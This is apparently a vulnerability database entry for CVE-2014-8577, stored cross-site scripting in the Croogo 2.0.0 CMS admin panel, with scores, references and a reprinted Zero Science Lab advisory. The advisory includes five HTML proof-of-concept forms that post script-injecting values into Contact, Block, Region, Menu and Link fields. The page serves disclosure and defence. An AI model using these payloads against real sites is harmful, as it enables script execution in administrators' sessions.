CVE-2014-8577
medium
CVSS v3
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CVSS v4 NEW
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VIR risk
5.3
Description
Multiple cross-site scripting (XSS) vulnerabilities in Croogo before 2.1.0 allow remote attackers to inject arbitrary web script or HTML via the (1) data[Contact][title] parameter to admin/contacts/contacts/add page; (2) data[Block][title] or (3) data[Block][alias] parameter to admin/blocks/blocks/edit page; (4) data[Region][title] parameter to admin/blocks/regions/add page; (5) data[Menu][title] or (6) data[Menu][alias] parameter to admin/menus/menus/add page; or (7) data[Link][title] parameter to admin/menus/links/add/menu page.
Predictions
Exploit likelihood
20%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Croogo 2.0.0 - Multiple Persistent Cross-Site Scripting Vulnerabilities
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Croogo 2.0.0 Multiple Stored XSS Vulnerabilities
Vendor: Fahad Ibnay Heylaal
Product web page: http://www.croogo.org
Affected version: 2.0.0
Summary: Croogo is a free, open source, content management system
for PHP, released under The MIT License. It is powered by CakePHP
MVC framework.
Desc: Croogo version 2.0.0 suffers from multiple stored cross-site
scripting vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the user. This
can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.
Tested on: Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
Macedonian Information Security Research And Development Laboratory
Advisory ID: ZSL-2014-5201
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php
Vendor: http://blog.croogo.org/blog/croogo-210-released
26.07.2014
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(XSS #1)
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POST parameters:
- data[Contact][title]
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<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/contacts/contacts/add" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="2627e9e204ad6b878dbaf1c08d830c3e744d7e6e" />
<input type="hidden" name="data[Contact][id]" value="" />
<input type="hidden" name="data[Contact][title]" value=""><script>alert("XSS");</script>" />
<input type="hidden" name="data[Contact][alias]" value="test" />
<input type="hidden" name="data[Contact][email]" value="a@a.com" />
<input type="hidden" name="data[Contact][body]" value="" />
<input type="hidden" name="data[Contact][name]" value="" />
<input type="hidden" name="data[Contact][position]" value="" />
<input type="hidden" name="data[Contact][address]" value="" />
<input type="hidden" name="data[Contact][address2]" value="" />
<input type="hidden" name="data[Contact][state]" value="" />
<input type="hidden" name="data[Contact][country]" value="" />
<input type="hidden" name="data[Contact][postcode]" value="" />
<input type="hidden" name="data[Contact][phone]" value="" />
<input type="hidden" name="data[Contact][fax]" value="" />
<input type="hidden" name="data[Contact][message_status]" value="0" />
<input type="hidden" name="data[Contact][message_archive]" value="0" />
<input type="hidden" name="data[Contact][message_notify]" value="0" />
<input type="hidden" name="data[Contact][message_spam_protection]" value="0" />
<input type="hidden" name="data[Contact][message_captcha]" value="0" />
<input type="hidden" name="data[Contact][status]" value="0" />
<input type="hidden" name="data[_Token][fields]" value="262e37f00fdd538ab98d168114e8befb72ba27ff%3AContact.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
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(XSS #2)
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POST/PUT parameters:
- data[Block][title]
- data[Block][alias]
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<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/blocks/blocks/edit/10" method="POST">
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="data[_Token][key]" value="bb5e47ab63281908e9783d9a20f66b7f56c573f3" />
<input type="hidden" name="data[Block][id]" value="10" />
<input type="hidden" name="data[Block][title]" value=""><script>alert(2);</script>" />
<input type="hidden" name="data[Block][alias]" value=""><script>alert(3);</script>" />
<input type="hidden" name="data[Block][region_id]" value="3" />
<input type="hidden" name="data[Block][body]" value="1" />
<input type="hidden" name="data[Block][class]" value="1" />
<input type="hidden" name="data[Block][element]" value="1" />
<input type="hidden" name="data[Role][Role]" value="" />
<input type="hidden" name="data[Block][visibility_paths]" value="" />
<input type="hidden" name="data[Block][params]" value="1" />
<input type="hidden" name="data[Block][status]" value="1" />
<input type="hidden" name="data[Block][show_title]" value="0" />
<input type="hidden" name="data[Block][show_title]" value="1" />
<input type="hidden" name="data[Block][publish_start]" value="0000-00-00 00:00:00" />
<input type="hidden" name="data[Block][publish_end]" value="0000-00-00 00:00:00" />
<input type="hidden" name="data[_Token][fields]" value="546f4a46648b8b32ea4c2b43a4a118ea7087e21b%3ABlock.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
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(XSS #3)
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POST parameters:
- data[Region][title]
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<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/blocks/regions/add" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="a7d62c8c34e2a6414c3657c43790645dfdd63735" />
<input type="hidden" name="data[Region][id]" value="" />
<input type="hidden" name="data[Region][title]" value=""><script>alert(11);</script>" />
<input type="hidden" name="data[Region][alias]" value="1" />
<input type="hidden" name="data[_Token][fields]" value="4020bcbfbf5ba648b159ec8a4e166f53c1b58aa4%3ARegion.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
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(XSS #4)
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POST parameters:
- data[Menu][title]
- data[Menu][alias]
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<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/menus/menus/add" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="253c5c67942b2d126c886c9ac7a62ebf065cf42b" />
<input type="hidden" name="data[Menu][id]" value="" />
<input type="hidden" name="data[Menu][title]" value=""><script>alert(22);</script>" />
<input type="hidden" name="data[Menu][alias]" value=""><script>alert(33);</script>" />
<input type="hidden" name="data[Menu][description]" value="ZSL" />
<input type="hidden" name="data[Menu][params]" value="1" />
<input type="hidden" name="data[Menu][status]" value="1" />
<input type="hidden" name="data[Menu][publish_start]" value="1" />
<input type="hidden" name="data[Menu][publish_end]" value="1" />
<input type="hidden" name="data[_Token][fields]" value="58685dc7a49f7617cffaa3a00ec4245516c5f9d3%3AMenu.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
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(XSS #5)
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POST parameters:
- data[Link][title]
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<html>
<!-- PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/croogo/admin/menus/links/add/menu:6" method="POST">
<input type="hidden" name="_method" value="POST" />
<input type="hidden" name="data[_Token][key]" value="736e7539497307010b8cb8e70c44ec8a9798d0fb" />
<input type="hidden" name="data[Link][id]" value="" />
<input type="hidden" name="data[Link][menu_id]" value="6" />
<input type="hidden" name="data[Link][parent_id]" value="" />
<input type="hidden" name="data[Link][title]" value=""><script>alert(1);</script>" />
<input type="hidden" name="data[Link][link]" value="1" />
<input type="hidden" name="data[Role][Role]" value="" />
<input type="hidden" name="data[Link][class]" value="scriptalert1script" />
<input type="hidden" name="data[Link][description]" value="" />
<input type="hidden" name="data[Link][rel]" value="" />
<input type="hidden" name="data[Link][target]" value="" />
<input type="hidden" name="data[Link][params]" value="" />
<input type="hidden" name="data[Link][status]" value="0" />
<input type="hidden" name="data[Link][publish_start]" value="" />
<input type="hidden" name="data[Link][publish_end]" value="" />
<input type="hidden" name="data[_Token][fields]" value="d662745abb348c763337f58c8c3c28bb1e8c014f%3ALink.id" />
<input type="hidden" name="data[_Token][unlocked]" value="apply" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| croogo | croogo | {"endIncluding":"2.0.0"} | |
References
- http://blog.croogo.org/blog/croogo-210-released
- http://packetstormsecurity.com/files/128639/Croogo-2.0.0-Cross-Site-Scripting.html
- http://www.exploit-db.com/exploits/34959
- http://www.osvdb.org/113109
- http://www.osvdb.org/113110
- http://www.osvdb.org/113111
- http://www.osvdb.org/113113
- http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php
- https://exchange.xforce.ibmcloud.com/vulnerabilities/96991
- http://blog.croogo.org/blog/croogo-210-released
- http://packetstormsecurity.com/files/128639/Croogo-2.0.0-Cross-Site-Scripting.html
- http://www.exploit-db.com/exploits/34959
- http://www.osvdb.org/113109
- http://www.osvdb.org/113110
- http://www.osvdb.org/113111
- http://www.osvdb.org/113113
- http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php
- https://exchange.xforce.ibmcloud.com/vulnerabilities/96991
CWEs
CWE-79
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Verify integrity in audit chain (admin only). AS-IS.